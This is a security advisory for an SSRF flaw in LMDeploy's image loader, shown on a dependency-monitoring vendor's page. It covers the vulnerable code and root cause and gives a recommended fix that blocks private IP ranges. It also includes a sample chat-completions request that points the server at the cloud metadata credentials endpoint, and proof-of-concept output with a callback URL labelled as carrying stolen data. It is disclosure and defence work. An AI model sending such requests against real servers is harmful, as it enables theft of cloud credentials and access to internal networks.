Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-6w67-hwm5-92mq
No affected components available
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.
Affected Versions
- Tested on: main branch (2026-02-04)
- Affected: All versions prior to 0.12.3
Vulnerable Code
File: lmdeploy/vl/utils.py (lines 64-67)
def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
# ...
if image_url.startswith('http'):
response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
# NO VALIDATION OF URL/IP BEFORE REQUEST
Also affected: encode_image_base64() function (lines 26-29)
Root Cause
- No validation of URLs before fetching
- No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
- Server binds to
0.0.0.0by default (api_server.py line 1393) - API keys disabled by default
Attack Scenario
- LMDeploy server deployed with vision-language model
- Attacker sends request to
/v1/chat/completionswith maliciousimage_url:
POST /v1/chat/completions
{
"model": "internlm-xcomposer2",
"messages": [{
"role": "user",
"content": [
{"type": "text", "text": "Describe this image"},
{"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
]
}]
}
- Server fetches URL without validation
- Attacker receives cloud credentials
Proof of Concept
Verified Exploitation Result
╔═══════════════════════════════════════════════════════════════════════╗
║ LMDeploy SSRF Vulnerability - Proof of Concept ║
╚═══════════════════════════════════════════════════════════════════════╝
[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...
======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
Time: 2026-02-04 16:10:57
Path: /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
Client: 127.0.0.1:51154
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================
✅ SSRF VULNERABILITY CONFIRMED!
Impact
- Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
- Internal Service Access: Reach services not exposed to internet
- Information Disclosure: Port scan internal networks
- Lateral Movement: Pivot point for further attacks
Recommended Fix
from urllib.parse import urlparse
import ipaddress
import socket
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('169.254.0.0/16'),
]
def is_safe_url(url: str) -> bool:
try:
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
ip = socket.gethostbyname(parsed.hostname)
ip_addr = ipaddress.ip_address(ip)
return not any(ip_addr in network for network in BLOCKED_NETWORKS)
except:
return False
Credit
This vulnerability was discovered as part of Orca Security's research.
Researcher: Igor Stepansky
Organization: Orca Security
Emails:
igor.stepansky@orca.security
iggy.p0pi@orca.security
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is high. The vulnerability is very likely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard